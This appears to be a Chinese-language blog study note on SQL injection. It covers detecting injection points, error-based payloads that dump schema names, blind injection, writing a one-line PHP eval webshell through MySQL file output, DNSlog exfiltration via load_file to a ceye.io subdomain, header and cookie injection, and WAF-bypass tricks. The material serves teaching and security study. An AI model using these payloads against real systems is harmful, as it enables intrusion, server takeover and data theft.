SQL注入笔记

SQL注入:一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

SQL注入的几个步骤:

1.寻找可能的注入点:页面存在传值或者查询的地方,比如URL中的GET型传参,也比如页面中的以POST方法发送数据的搜索框。

2.判断是字符型还是数字型注入。

数字型注入:这一类的 SQL 语句原型大概为SELECT * FROM users WHERE id=$id,使用1'1 and 1=11 and 1=2来判断,如果都能正常显示界面则是字符型注入,不能正常显示就是数字型注入。

字符型注入点:这一类的 SQL 语句原型大概为 SELECT * FROM users WHERE id='$id',使用1'1'and 1--+1'and 1=2--+来判断如果能正常显示是字符型注入,报错就是数字型注入。

3.如果是字符型注入,找到闭合方式('、"、')、"))。

使用?id=1'?id=1"来判断。如果单引号报错,双引号不报错,尝试?id=1'---+,无报错则 ' 闭合。报错则')闭合。如果单引号不报错,双引号报错,尝试?id=1"---+,无报错则"闭合,报错则")闭合。

4.判断查询列数长短,groupby或orderby。

5.查询回显位置(在哪里显示,显示几条)。

报错注入

报错注入:通过构造语句,让错误信息中夹杂可以显示数据库内容的查询语句。

  1. 通过extractvalue()报错注入
    extractvalue (XML_document, XPath_string):从目标 XML中 返回包含所查询值的字符串。爆库名:extractvalue(1,concat(0x7e,(select database()))),爆表名:extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),爆列名:extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))

  2. 通过updatexml()报错注入
    updatexml (XML_document, XPath_string, new_value):改变文档中符合条件的节点的值。爆库名:updatexml(1,concat(0x7e,(select database())),3),爆表名爆列名如上。

  3. 通过floor()报错注入

    能够联合使用floor()、rand()和groupby语句进行报错注入的原理:https://blog.csdn.net/qq_64395221/article/details/139101397,目前这种漏洞数据库已修复。

盲注

盲注:在SQL注入后,SQL语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断,这个判断的过程称之为盲注。

盲注分类:常用为布尔盲注和时间盲注。

布尔盲注的使用场景:页面无回显(查询回显或报错回显),但页面有真值和假值两种状态。

时间盲注的使用场景:页面无真假值两种状态,但可在布尔盲注的基础上利用页面的响应时间不同(配合使用if语句和sleep()),逐个猜解数据。

盲注的基本使用:https://blog.csdn.net/LJH1999ZN/article/details/122863892

MySQL文件上传

MySQL文件上传:之前的SQL注入只局限于获取或破坏数据库信息,虽然这已经对服务器足够致命,但并没有办法实现对服务器的完全控制,而本节的MySQL文件上传注入,则会往服务器注入一个木马,从而进一步提权实现对服务器的完全控制。

MySQL文件上传注入基本流程

判断MySQL文件上传注入基本条件是否满足

1、数据库允许读写文件

MySQL新版本下secure-file-priv字段 : secure-file-priv参数是用来限制SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。

secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。

secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

且要进行文件的读写是需要很高的权限,最好是root权限。

2、知道要读写位置的绝对路径

当我们要进行文件的读写时要知道绝对路径;当我们要往数据库里面写木马文件,就要知道数据库的绝对路径。

写入一句话木马,通过webshell植入反弹shell

<?php%20@eval($_REQUEST["mima"])?>:把通过HTTP请求传递的名为mima的参数值作为PHP代码并执行,获取webshell,用特定连接软件连接。由于webshell可能会被服务器管理员或杀毒软件关掉,且有些服务器加上防火墙,不接受外界与其的连接,只能自发连接外部。所以获取的webshell可能不稳定,可以通过webshell植入反弹shell。相关案例:https://www.modb.pro/db/104067

DNSlog注入

上述SQL注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。DNSlog注入需要有两个条件:SQL服务器能连接网络;开启了load_file()使用权限(load_file()还可用来发送DNS解析请求)。

使用案例:

  1. 攻击者先向web服务器提交payload语句,比如(select load_file(concat('\\','攻击语句',.XXX.ceye.io\abc)))。
  2. payload语句被放到数据库中执行,生成的结果与后面的.XXX.ceye.io\abc构成一个新的域名。
  3. 这时load_file()就可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析。
  4. 此时查看DNS服务器上的DNSlog就可以得到SQL注入结果。注意注入语句中的ceye.io,这是一个开放的DNSlog平台,在http://ceye.io上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名查询转到相应的DNS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录

DNSlog注入自动化脚本:dnslogSql.py

POST提交注入

当uname存在注入点时,可以使用POST提交注入。通过构造特定的SQL语句,如使用"admin' or 1=1#"指令来绕过用户验证。

GET与POST提交的区别:

  • GET提交可以被网页缓存,而POST提交则不会。
  • GET提交的参数可以保留在浏览器的历史记录中,可以被收藏为书签;POST提交则不会。
  • GET提交有长度限制,最多2048个字符;而POST提交没有长度限制,不仅可以使用ASCII字符提交,还可以使用二进制数据。

常用工具软件:SQLMap和BurpSuite配合使用获取抓包信息。

SQLMap的基本使用:https://www.bilibili.com/video/BV11W41157j3

BurpSuite:用于修改数据包,修改浏览器提交的post请求报文中头部字段信息。抓包可以分为两大类,一类是以wireshark为代表的,监控网卡流量,但不对流量进行任何拦截,通常用来做流量审计用;另一类是以BurpSuite为代表的,用来抓取浏览器产生的数据包,会对每个流量包进行拦截,便于修改。

报头注入

在页面看不到明显变化且找不到注入点时,可以尝试报头注入(User-agent、Referer、Cookie),即通过修改HTTP请求头中的这些字段实现SQL注入。

User-agent注入点

可能存在的安全检查check_input对输入的用户名和密码进行检测,以字符的形式入数据库,而不是以命令的方式进行查询,导致无法注入。但服务器后台会对提交的用户名和密码进行对比查询,看是否一致,比对成功后,在数据库security的数据表uagents里插入数据列uagent、ip_address、username三列信息,此时uagent可以为注入点。

uagent即user-agent,用户代理,内容就是浏览器及版本信息,电脑信息等。常见用途为限制打开软件,浏览器,以及上网行为管理等。

user-agent报头注入的过程是,通过BurpSuite拦截登录网站时浏览器发出的数据包,修改$uagent参数,使用报错注入方式在插入信息执行命令报错,反馈错误信息,从而达到user-agent报头注入目的。

Referer注入点

利用Referer进行报错注入同理。

Referer:头部信息header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

Cookie注入点

Cookie:网站为了识别用户并存储用户数据而保存在用户电脑或移动设备上的小型文本文件。

Cookie的创建:Cookie通常由网站服务器发送到用户的浏览器,这个过程是在用户访问网站时自动完成的。服务器会向浏览器发送一个包含Cookie的HTTP响应头,这个Cookie包含了一些信息,如用户的身份认证、偏好设置或购物车内容等。

Cookie 的存储:浏览器接收到Cookie后,会将它存储在用户的计算机或移动设备的指定文件夹中。这些Cookie文件通常是以user@domain格式命名的,其中user是用户的本地用户名,domain是所访问的网站的域名。

Cookie的类型分为两种,一种是会话Cookie(Session Cookies),一种是持久性Cookie(Persistent Cookies)。

  • 会话Cookie:会话Cookie是临时Cookie,仅在用户关闭浏览器窗口之前有效。它们通常用于存储用户在单个会话中的信息,例如登录状态或购物车内容。

  • 持久性Cookie:持久性Cookie会在用户关闭浏览器窗口后继续存储在用户的设备上,直到过期或被手动删除。它们通常用于存储用户偏好设置或跟踪用户浏览行为。

Cookie可用于身份验证,验证过程会把客户端的Cookie对数据库的用户表进行select查询,这时如果没有对Cookie中传递的参数进行过滤操作,会导致SQL注入漏洞的产生,可以趁此机会进行Cookie注入。

Cookie注入的过程是,通过BurpSuite拦截登录网站时浏览器发出的数据包,修改Cookie参数,使用报错注入方式在插入信息执行命令报错,反馈错误信息,从而达到Cookie注入目的。

但手工Cookie注入的效率低,可以使用SQLmap进行自动Cookie注入。

SQL注入过滤机制

在防止SQL注入攻击时,waf通常会过滤掉一些可能导致注入攻击的字符。

以下是一些可能被过滤的字符:

  1. 特殊字符:
    • 单引号('):SQL语句中,单引号通常用于界定查询字符串。
    • 双引号("):在某些数据库系统中,双引号用于界定标识符(如表名、列名)。
    • 分号(;):分号在SQL语句中用于分隔多个语句。如果允许用户输入中包含分号,攻击者可能会尝试执行多个恶意语句。
    • 注释符号(如#和--+ )
  2. SQL关键字:
    • select、insert、update、delete等
    • union、join等
    • or、and等
  3. 其他潜在的危险字符:
    • 百分号(%)和下划线(_):在LIKE查询中,这些字符具有特殊含义,用于匹配任意数量的字符和单个字符。如果攻击者利用它们进行模糊查询,可能会获取大量敏感数据。
    • 逗号(,):在SQL语句中,逗号用于分隔多个字段或值。如果逗号被过滤掉,攻击者可能无法构造完整的注入语句。

除此之外,客户端提交的参数中如果含有单引号,双引号等这些特殊字符,waf可能会使用addslashes()在单引号前加反斜线"\",将单引号转义成没有功能性的字符。

以下是一些绕过过滤的常用方法:

  1. 使用大小写变种。因为数据库使用不区分大小写的方式处理SOL关键字,可以通过变换攻击字符串中字符的大小写来避开它们,比如"select"变为"SeLeCt"。
  2. 替换关键字。waf可能用正则表达式替换或删除select、union这些关键字,如果只匹配一次就很容易绕过,比如"select"变为"SELselectECT"。
  3. 替换函数或命令和换用生僻函数。有些函数或命令因其关键字被waf过滤而无法使用,但在很多情况下可以使用与之等价或类似的代码替代其使用。
  4. 用&&和||替换and和or。
  5. 特殊编码绕过。把被过滤的关键字或字符使用URL编码,ASCII编码或unicode编码绕过。
  6. 针对addslashes()的绕过方法------宽字节注入。宽字节注入即是把addslashes()加入的反斜杠转换为一个汉字,从而破坏转义,详细原理解释:https://blog.csdn.net/qq_35733751/article/details/106560160

更多绕过过滤的方法:https://blog.csdn.net/whatday/article/details/61912578/

SQL注入绕过安全狗方法

基础方法绕过(注释符、换行符等):https://mp.weixin.qq.com/s/Dhtc-8I2lBp95cqSwr0YQw

超大数据包绕过:https://blog.csdn.net/csdnmmd/article/details/117454678

分块传输绕过:https://blog.csdn.net/weixin_43571641/article/details/123116234

相关推荐
A阳俊yi几秒前
数据库(31)——事务
数据库·oracle
2301_80220193关注我13 分钟前
Parameters参数、增删改标签、事务、typeAliases
java·数据库·windows
琼火hu1 小时前
R语言笔记(五):Apply函数
开发语言·笔记·r语言·apply
夜间出没的AGUI1 小时前
zjy-sqlite-manage使用文档v1
数据库·oracle
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ1 小时前
mysql 和 java 对应数据类型
java·数据库·mysql
TechCraftsman数据库专栏1 小时前
为什么需要 ElasticSearch
数据库·elasticsearch
sin22011 小时前
mysql事务
数据库·mysql·oracle
scc21402 小时前
mysql中redolog、binlog
数据库·mysql·oracle
2401_854391082 小时前
Spring Boot框架下租房管理系统的设计与实现
数据库·spring boot·php
2401_857617622 小时前
Spring Boot框架在中小企业设备管理中的创新应用
数据库·spring boot·后端